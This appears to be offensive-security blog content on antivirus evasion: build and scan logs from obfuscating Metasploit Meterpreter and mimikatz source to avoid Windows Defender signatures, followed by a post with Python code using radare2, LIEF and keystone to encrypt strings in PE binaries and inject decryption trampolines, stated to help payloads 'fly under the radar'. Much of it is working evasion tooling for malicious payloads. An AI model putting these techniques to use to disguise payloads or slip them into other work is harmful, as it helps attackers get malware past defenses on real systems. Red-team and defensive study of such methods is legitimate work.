'/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_cloudap.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_rpc.c', '/extensions/kiwi/mimikatz/mimilib/kfilt.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_sccm.c', '/extensions/kiwi/mimikatz/modules/kull_m_ldap.c', '/ReflectiveDLLInjection/inject/src/Inject.c', '/extensions/kiwi/mimikatz/modules/kull_m_pipe.c', '/metsrv/remote_dispatch.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c', '/extensions/stdapi/server/resource/hook.c', '/extensions/networkpug/networkpug.c', '/extensions/kiwi/mimikatz/mimikatz/modules/ngc/kuhl_m_ngc.c', '/metsrv/base_inject.c', '/extensions/incognito/token_info.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_sr98.c', '/extensions/extapi/ntds.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_token.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_minesweeper.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_standard.c', '/extensions/kiwi/mimikatz/modules/kull_m_crypto_ngc.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_dpapi.c', '/extensions/stdapi/server/ui/mouse.c', '/extensions/incognito/list_tokens.c', '/extensions/stdapi/server/general.c', '/ReflectiveDLLInjection/dll/src/ReflectiveDll.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kull_m_rpc_ms-credentialkeys.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kerberos/kuhl_m_kerberos_ticket.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_cloudap.c', '/metsrv/scheduler.c', '/extensions/stdapi/server/net/socket/udp.c', '/extensions/stdapi/server/sys/process/in-mem-exe.c', '/metsrv/remote.c', '/extensions/stdapi/server/net/config/netstat.c', '/extensions/stdapi/server/net/config/interface.c', '/extensions/stdapi/server/audio/output.c', '/extensions/stdapi/server/sys/process/process.c', '/extensions/kiwi/mimikatz/modules/kull_m_string.c', '/extensions/lanattacks/lanattacks.c', '/extensions/lanattacks/TFTPserv.cpp', '/extensions/kiwi/mimikatz/mimilib/knp.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_sc.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_privilege.c', '/extensions/kiwi/mimikatz/modules/kull_m_process.c', '/extensions/peinjector/libpefile.c', '/extensions/stdapi/server/net/socket/tcp_server.c', '/metsrv/list.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_crypto.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-pac.c', '/extensions/kiwi/mimikatz/modules/kull_m_memory.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_ssp.c', '/extensions/stdapi/server/railgun/railgun.c', '/extensions/kiwi/mimikatz/mimikatz/modules/crypto/kuhl_m_crypto_extractor.c', '/extensions/kiwi/mimikatz/modules/rpc/kull_m_rpc_ms-dcom_IObjectExporter_c.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/kuhl_m_dpapi_oe.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_iis.c', '/extensions/kiwi/mimikatz/modules/kull_m_dpapi.c', '/extensions/extapi/adsi_interface.cpp', '/extensions/stdapi/server/sys/process/memory.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_credman.c', '/extensions/kiwi/mimikatz/mimilib/kdhcp.c', '/extensions/peinjector/peinjector_bridge.c', '/extensions/kiwi/mimikatz/modules/kull_m_token.c', '/extensions/priv/passwd.c', '/extensions/extapi/window.c', '/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_tspkg.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c', '/metsrv/server_transport_named_pipe.c', '/extensions/extapi/wshelpers.c', '/extensions/unhook/apisetmap.c', '/extensions/stdapi/server/fs/dir.c', '/extensions/extapi/service.c', '/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_event.c', '/extensions/kiwi/mimikatz/modules/kull_m_net.c', '/extensions/stdapi/server/fs/mount_win.c', '/extensions/kiwi/mimikatz/mimilib/sekurlsadbg/kuhl_m_sekurlsa_nt6.c', '/extensions/stdapi/server/sys/process/ps.c', '/extensions/kiwi/mimikatz/mimikatz/modules/dpapi/packages/kuhl_m_dpapi_chrome.c', '/extensions/stdapi/server/fs/file.c', '/extensions/priv/service.c', '/extensions/powershell/powershell.c', '/extensions/kiwi/mimikatz/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c', '/extensions/stdapi/server/fs/fs_win.c']
243it [00:32,  7.54it/s]
INFO:root:Done
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/libloader.c -> Counter({'ZwWriteVirtualMemory': 3, 'NtCreateSection': 2, 'NtMapViewOfSection': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_inject.c -> Counter({'ZwWriteVirtualMemory': 2, 'NtQueueApcThread': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/remote_thread.c -> Counter({'CreateRemoteThread': 2, 'ZwCreateThreadEx': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/metsrv/base_dispatch.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_misc.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_process.c -> Counter({'NtResumeProcess': 2, 'NtSuspendProcess': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_net.c -> Counter({'SamEnumerateDomainsInSamServer': 6, 'SamConnect': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/kuhl_m_lsadump.c -> Counter({'SamEnumerateDomainsInSamServer': 2, 'SamConnect': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c -> Counter({'NtResumeProcess': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_memory.c -> Counter({'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_cabinet.c -> Counter({'GetTempFileNameA': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/modules/kull_m_remotelib.c -> Counter({'CreateRemoteThread': 2})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/tokendup.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/priv/passwd.c -> Counter({'ReadProcessMemory': 3, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c -> Counter({'WriteProcessMemory': 3, 'NtUnmapViewOfSection': 3, 'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/memory.c -> Counter({'ReadProcessMemory': 1, 'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/util.c -> Counter({'ZwWriteVirtualMemory': 1})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/extensions/stdapi/server/sys/process/ps.c -> Counter({'ReadProcessMemory': 3})
/var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/ReflectiveDLLInjection/dll/src/ReflectiveDll.c: 100%|███████████████████████████████████████████████| 535/535 [00:02<00:00, 227.82it/s]
INFO:root:Found 243 files with strings.
INFO:root:Found 18 files with suspicious API calls.
INFO:root:23/26 occurrences of WriteProcessMemory replaced.
INFO:root:2/4 occurrences of NtCreateSection replaced.
INFO:root:2/4 occurrences of NtMapViewOfSection replaced.
INFO:root:1/2 occurrences of NtQueueApcThread replaced.
INFO:root:1/5 occurrences of CreateRemoteThread replaced.
INFO:root:0/4 occurrences of NtResumeProcess replaced.
INFO:root:0/2 occurrences of NtSuspendProcess replaced.
INFO:root:0/8 occurrences of SamEnumerateDomainsInSamServer replaced.
INFO:root:2/2 occurrences of SamRidToSid replaced.
INFO:root:0/5 occurrences of SamConnect replaced.
INFO:root:4/4 occurrences of SamLookupDomainInSamServer replaced.
INFO:root:6/6 occurrences of SamOpenDomain replaced.
INFO:root:3/3 occurrences of SamOpenUser replaced.
INFO:root:1/1 occurrences of SamOpenGroup replaced.
INFO:root:1/1 occurrences of SamOpenAlias replaced.
INFO:root:1/1 occurrences of SamGetGroupsForUser replaced.
INFO:root:2/2 occurrences of SamGetAliasMembership replaced.
INFO:root:1/1 occurrences of SamGetMembersInGroup replaced.
INFO:root:1/1 occurrences of SamGetMembersInAlias replaced.
INFO:root:2/2 occurrences of SamEnumerateUsersInDomain replaced.
INFO:root:1/1 occurrences of SamEnumerateGroupsInDomain replaced.
INFO:root:1/1 occurrences of SamEnumerateAliasesInDomain replaced.
INFO:root:2/2 occurrences of SamLookupIdsInDomain replaced.
INFO:root:16/16 occurrences of SamCloseHandle replaced.
INFO:root:28/28 occurrences of SamFreeMemory replaced.
INFO:root:1/1 occurrences of SamQueryInformationUser replaced.
INFO:root:2/2 occurrences of SamSetInformationUser replaced.
INFO:root:1/1 occurrences of SamiChangePasswordUser replaced.
INFO:root:2/2 occurrences of SamLookupNamesInDomain replaced.
INFO:root:0/9 occurrences of ReadProcessMemory replaced.
INFO:root:0/1 occurrences of GetTempFileNameA replaced.
INFO:root:1/4 occurrences of NtUnmapViewOfSection replaced.
INFO:root:Writing output log file to /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/source/output_result.log
make docker-x64 -j 8 ; say "Done"                                                                                                                                                                      18:18:34
-- The C compiler identification is GNU 9.3.0
-- Check for working C compiler: /usr/bin/x86_64-w64-mingw32-gcc
-- Check for working C compiler: /usr/bin/x86_64-w64-mingw32-gcc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Build Type not specified, defaulting to 'Release'.
-- The CXX compiler identification is GNU 9.3.0
-- Check for working CXX compiler: /usr/bin/x86_64-w64-mingw32-g++
-- Check for working CXX compiler: /usr/bin/x86_64-w64-mingw32-g++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /meterpreter/workspace/build/mingw-x64
make[1]: Entering directory '/meterpreter/workspace/build/mingw-x64'
make[2]: Entering directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
Scanning dependencies of target jpeg
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
[  0%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jaricom.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcapimin.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcapistd.c.obj
[  1%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcarith.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jccoefct.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jccolor.c.obj
[  2%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcdctmgr.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jchuff.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcinit.c.obj
[  3%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmainct.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmarker.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcmaster.c.obj
[  4%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcomapi.c.obj
[  5%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcparam.c.obj
[  5%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcprepct.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jcsample.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jctrans.c.obj
[  6%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdapimin.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdapistd.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdarith.c.obj
[  7%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdatadst.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdatasrc.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdcoefct.c.obj
[  8%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdcolor.c.obj
[  9%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jddctmgr.c.obj
[  9%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdhuff.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdinput.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmainct.c.obj
[ 10%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmarker.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmaster.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdmerge.c.obj
[ 11%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdpostct.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdsample.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jdtrans.c.obj
[ 12%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jerror.c.obj
[ 13%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctflt.c.obj
[ 13%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctfst.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jfdctint.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctflt.c.obj
[ 14%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctfst.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jidctint.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jmemmgr.c.obj
[ 15%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jmemnobs.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jquant1.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jquant2.c.obj
[ 16%] Building C object jpeg/CMakeFiles/jpeg.dir/meterpreter/source/jpeg-8/jutils.c.obj
[ 17%] Linking C static library libjpeg.x64.a
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
[ 17%] Built target jpeg
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
Scanning dependencies of target metsrv
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
[ 17%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base.c.obj
[ 17%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base_dispatch.c.obj
[ 18%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/base_inject.c.obj
[ 18%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/channel.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/core.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/libloader.c.obj
[ 19%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/list.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/metapi.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/metsrv.c.obj
[ 20%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/packet_encryption.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/pivot_packet_dispatch.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/pivot_tree.c.obj
[ 21%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote.c.obj
[ 22%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote_dispatch.c.obj
[ 22%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/remote_thread.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/scheduler.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_pivot.c.obj
[ 23%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_pivot_named_pipe.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_setup.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_named_pipe.c.obj
[ 24%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_tcp.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_winhttp.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/server_transport_wininet.c.obj
[ 25%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/thread.c.obj
[ 26%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/unicode.c.obj
[ 26%] Building C object metsrv/CMakeFiles/metsrv.dir/meterpreter/source/metsrv/zlib.c.obj
[ 27%] Linking C shared library metsrv.x64.dll
make[3]: Leaving directory '/meterpreter/workspace/build/mingw-x64'
[ 27%] Built target metsrv
make[3]: Entering directory '/meterpreter/workspace/build/mingw-x64'
...

Antivirus testing and a cheat

Then, all the freshly compiled DLLs can be scanned with Windows Defender and loadlibrary:

➜  ~ for i in `ls /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/*.dll` ; do  docker run -v /Users/vladimir/dev/av-signatures-finder:/home/toto/av-signatures-finder -v /tmp:/tmp -v /var:/var loadlibrary-working python3 /home/toto/av-signatures-finder/scan.py $i ; done
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_espia.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_incognito.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_priv.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_stdapi.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/ext_server_unhook.x64.dll...
EngineScanCallback(): Scanning input
main(): Scanning /var/folders/l9/x995_3m52yd6mm3qv98k6d180000gn/T/tmp.PoqyGRTu/metasploit-payloads/c/meterpreter/output/metsrv.x64.dll...
EngineScanCallback(): Scanning input
...
➜  ~

Note: this only provides the antivirus detection status with the static engine, to test the hooks and the memory scans you have to go real-mode.

Of course, while we do have a clean detection score in the console output above, you probably won’t have the same results unless you customised your ReflectiveLoader to not use the same ROT13 API hashes as the default one.

I think it really is a game changer to be able to test that rapidly a full chain like this: obfuscation, compilation and antivirus testing on the same machine, as part of a single script.

Now you know!

Thanks

A big thank you to @TheColonial for looking at my huge pull request and building something so much better from it. I’ve seen the bugs you solved with mingw and let’s just say…wow.

Vladimir Meier / @plowsec

Statically encrypt strings in a binary with Keystone, LIEF and radare2/rizin

By: plowsec
11 April 2022 at 10:09

In our journey to try and make our payload fly under the radar of antivirus software, we wondered if there was a simple way to encrypt all the strings in a binary, without breaking anything. We did not find any satisfying solution in the literature, and the project looked like a fun coding exercise so we decided it was worth a shot.

By the end of it, we succeeded partly, and realised that the approach is not directly suited for antivirus evasion, as this tool’s limitations do not allow antivirus bypass on its own. That’s why we then made avcleaner, which operates on source code directly.

Still, the tool presented in this blog posts brings in some binary hacking that we believe might be of some value to the community, and who knows, someone might end up doing something useful with it.

Currently, we plan to use it along another antivirus bypass tool in order to better target the strings to be encrypted.

General idea

Our idea was to encrypt in place all the strings in PE file. To avoid breaking the software, it is obviously mandatory to allow decryption of the string as soon as it is needed. For that to work, one should inject a decryption routine within the binary, and somehow call it when the string is used.

The best approach would be to decompile the binary, locate strings usages and wrap them in a decryption routine. However, frameworks such as ret-dec, rev.ng, mcsema and so on were not mature enough at the time.

In view of that, our solution relies on lief for the binary manipulation, radare2 / rizin for the program analysis, and keystone for code injection.

The process is as follows:

  1. Enumerate and encrypt strings with radare2.
  2. Locate cross-references to each of these strings, also with radare2.
  3. With gcc, build a decryption routine as Position Indepent Code (PIC).
  4. With lief, carve out this decryption routine and inject it in the target binary as a new section.
  5. For each xref, patch the instruction that loads the strings in registers, the stack or whatever.
  6. Insert a call instruction to hijack the execution flow and divert it to the decryption routine.
  7. Return to the original instruction.

These last steps require storing the string’ size and the return address, so we use lief as well to build a kind of jump table.

Here is an artistic diagram for clarity:

Workflow overview

Implementation

This section goes over the implementation details and demonstrates the use of keystone, lief and radare2 to accomplish our goal.

Enumerate strings

Strings can be enumerated with the iz command of radare2.

Encryption

For each recovered string, we should encrypt it in place and build the corresponding jump table (described in the subsequent sections).


def encrypt_strings(binary):

    r2 = r2pipe.open(BINARY+".patch", flags=["-w"])
    all_strings = get_strings(r2)
    previous_block_sz = 0
    nb_encrypted_strings = 0

    for index, string in enumerate(all_strings):
        
        decoded_string = base64.b64decode(string["string"])
        binary = lief.parse(BINARY+".patch") # is this needed?

        # hook the binary where the string is referenced. Skip if the string
        # is used several times.
        can_proceed, original_instruction = patch_xref(binary, string, r2, previous_block_sz)
        
        if not can_proceed:
            continue

        # encrypt the string in .data (or whatever else) section.
        encrypted = encrypt_string(KEY, base64.b64decode(string["string"]).decode()) # convert_encoding(string["type"])
        encoded = base64.b64encode(encrypted.encode()).decode()
        r2.cmd(f"w6d {encoded} @ {string['vaddr']}")

        # prepare the trampoline for the hook.
        # takes care of decrypting the string and resuming the original control flow.
        binary = lief.parse(BINARY+".patch") # is this needed?
        previous_block_sz += add_jump_table_section(binary, r2, string, previous_block_sz, original_instruction[0]) # TODO handle > 1 opcodes
        nb_encrypted_strings += 1

    logging.info(f"Successfully encrypted {nb_encrypted_strings}/{len(all_strings)} strings!")

The “encryption algorithm” for this Proof-of-Concept is actually a simple Vigenere:D, but you can roll your own crypto obviously. Luckily for us, antivirus can be fooled with Vigenere, so let’s not waste time on this.

Patch the cross-reference

Get cross-references

Cross-references to strings can be obtained with r2pipe’s axt command. Appending a j to the command and then using cmdj allows to get the result in the JSON format, and then automatically parse it with Python.


# patch the instruction that originally references the string
# this allows to decrypt beforehand, so as no to alter the 
# program's behavior.    
xrefs = radare_pipe.cmdj(f"axtj @ {string['vaddr']}")
original_instruction = None

# For now, several XREFS to the same strings is an unhandled
# case, for simplicity.
if len(xrefs) > 1:

    logging.warning(f"Skipping string \'{string['string']}\' because more than 1 XREF was found")
    return False, original_instruction

# no xref found
elif len(xrefs) < 1:
    logging.warning(f"Skipping string \'{string['string']}\' because less than 1 XREF could be found")
    return False, original_instruction

To simplify things, we do not handle strings with many xrefs although that’s definitely doable.

Disassemble the original instruction

xref = xrefs[0]

# corner cases that can't be handled right for now
if not xref["opcode"].startswith("lea"):

    logging.warning(f"Skipping string \'{string['string']}\'. Unhandle opcode {xref['opcode']}\'")
    return False, original_instruction

location = xref["from"]

# store original instruction information
original_instruction = radare_pipe.cmdj(f"aoj @ {location}")
switch_address = binary.get_section(TRAMPOLINE_SECTION).virtual_address

Insert the hook

# LIEF creates new sections for PE with virtual_address relative to image base.
if g_is_pe:
    binary_base_address = radare_pipe.cmdj("ij")['bin']['baddr']  

jmp_destination = binary_base_address+switch_address - location + previous_block_sz # displacement between the original instruction and the switch section
assembly = f"call {hex(jmp_destination)}"
tmp_encoding, _ = ks.asm(assembly) # assemble

# oh I like dirty hacks
res = ""
for i in tmp_encoding:
    if i < 10:
        res += "0" + str(hex(i))[2:]
    else:
        res += str(hex(i))[2:]
    
res += "9090" # 2 NOP so that we have the same number of bytes making up the new instruction.
radare_pipe.cmd(f"wx {res} @ {hex(location)}")

Build the jump table

First, we need to create a new section in the target binary. The section should be big enough to hold information about each identified string.

Insert a new section


section = lief.PE.Section(TRAMPOLINE_SECTION)
section.characteristics = lief.PE.SECTION_CHARACTERISTICS.CNT_CODE | lief.PE.SECTION_CHARACTERISTICS.MEM_READ | lief.PE.SECTION_CHARACTERISTICS.MEM_EXECUTE

section.content = [0x90 for i in range(SZ_BLK_PER_STRING * nb_strings)] # placeholder
section = original_binary.add_section(section)

Then, we use keystone to assemble the hook instructions, but let’s go over the process step-by-step.

Trampoline

Assembly

Our trampoline should look as follows:

lea rdi, str.offset1 ; load the string
mov r12, label1 ; or EIP+len(next_instruction)
jmp decrypt_section ; absolute jmp # end of decrypt section will jmp on r12
label1:
pop rax ; original instruction pointer
jmp rax

However, this does not account for the calling convention of the target binary, and sadly there are too many variations to cover. We thus decided to only support 64-bit ELF and PE files as a first step.

This sets up the parameters required by the decryption routine, the actual call and then the return to the original instruction. With that out of the way, let us define the blueprint for this trampoline. For a PE file, our actual trampoline would actually be:

assembly = ["push rcx\npush rdx\npush rax\nlea rcx, [rip{}]\n", #offset_to_str, sign to be included
"mov rdx, {}\n", #str_size
"lea rax, [rip{}\n", #offset_to_decrypt_section
